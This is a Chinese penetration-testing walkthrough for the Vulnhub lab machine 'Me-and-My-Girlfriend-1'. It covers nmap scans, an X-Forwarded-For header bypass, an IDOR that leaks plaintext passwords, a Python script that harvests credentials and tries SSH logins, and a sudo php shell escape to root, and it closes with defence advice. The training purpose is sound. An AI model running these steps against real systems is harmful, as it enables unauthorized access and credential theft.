打靶日记--Me-and-My-Girlfriend-1
字数 1224 2025-08-29 22:41:38
Me-and-My-Girlfriend-1 靶机渗透教学文档
靶机概述
这是一个经典的Vulnhub靶机,适合初学者练习渗透测试技能。靶机难度较低,主要涉及以下技术点:
- 信息收集
- HTTP头部伪造
- 水平越权
- SSH登录利用
- SUID提权
详细渗透步骤
1. 信息收集阶段
主机发现
使用nmap进行主机发现:
nmap -sn 192.168.1.0/24
端口扫描
发现靶机开放端口:
nmap -sV -p- 192.168.1.xxx
扫描结果显示靶机开放了22(SSH)和80(HTTP)端口。
漏洞扫描
执行nmap自带的简单漏洞扫描:
nmap --script vuln 192.168.1.xxx
2. Web应用渗透
初始访问
访问80端口网站,首页显示"你不是本地的不能访问"提示,暗示需要本地访问权限。
绕过访问限制
- 查看网页源码,发现提示需要使用
X-Forwarded-For头部 - 尝试修改请求头,添加以下可能的
X-Forwarded-For值:- 127.0.0.1
- local
- localhost
- 0.0.0.0
- 发现
localhost值可以成功绕过限制
Burp Suite配置方法:
- 打开Burp Suite
- 进入Proxy -> Options
- 在"Match and Replace"部分添加新规则:
- Type: Request header
- Match: ^X-Forwarded-For:.*
- Replace: X-Forwarded-For: localhost
- 启用该规则
用户注册与登录
- 注册一个新账户
- 登录后发现URL中包含
user_id参数,形如:http://target/profile.php?user_id=1
水平越权漏洞利用
- 修改
user_id参数值,尝试访问其他用户信息 - 发现可以查看其他用户资料
- 在页面源码中可找到其他用户的明文密码
3. SSH登录利用
- 通过水平越权收集到的用户名和密码
- 尝试使用这些凭据通过SSH登录:
ssh username@target - 发现
alice账户可以成功登录(对应user_id=5)
自动化脚本思路(Python示例):
import requests
import paramiko
import re
# 获取用户凭证
def get_credentials():
for i in range(1, 11):
url = f"http://target/profile.php?user_id={i}"
response = requests.get(url)
# 使用正则提取用户名和密码
username = re.search(r"Username: (.*?)<", response.text).group(1)
password = re.search(r"Password: (.*?)<", response.text).group(1)
try_ssh_login(username, password)
# 尝试SSH登录
def try_ssh_login(username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect('target', username=username, password=password)
print(f"Success! Username: {username}, Password: {password}")
ssh.close()
return True
except:
print(f"Failed for {username}")
return False
get_credentials()
4. 权限提升
-
登录alice账户后,检查SUID权限:
find / -perm -4000 2>/dev/null或
sudo -l -
发现可以以root权限运行php:
sudo -l输出可能包含:
(root) NOPASSWD: /usr/bin/php -
利用php执行特权命令:
sudo php -r "system('/bin/bash');"或
sudo php -r "pcntl_exec('/bin/bash', ['-p']);" -
成功获取root shell
关键知识点总结
- HTTP头部伪造:
X-Forwarded-For常用于识别客户端原始IP,可被用于伪造来源 - 水平越权:通过修改ID参数访问其他用户数据,属于不安全的直接对象引用(IDOR)漏洞
- 凭证重用:Web应用中的密码可能被用于系统登录,需测试密码重用情况
- SUID提权:检查具有SUID位的程序,特别是可以执行命令的解释器(如php、python等)
防御建议
- 对敏感操作实施严格的权限检查
- 不要在前端源码中暴露敏感信息或提示
- 使用会话管理而非URL参数识别用户
- 实施最小权限原则,限制SUID程序
- 避免密码明文存储和传输
- 对用户输入进行严格过滤和验证
扩展练习
- 尝试编写自动化脚本完成整个渗透过程
- 探索其他可能的提权路径
- 尝试不使用php的提权方法
- 思考如何防御此类攻击链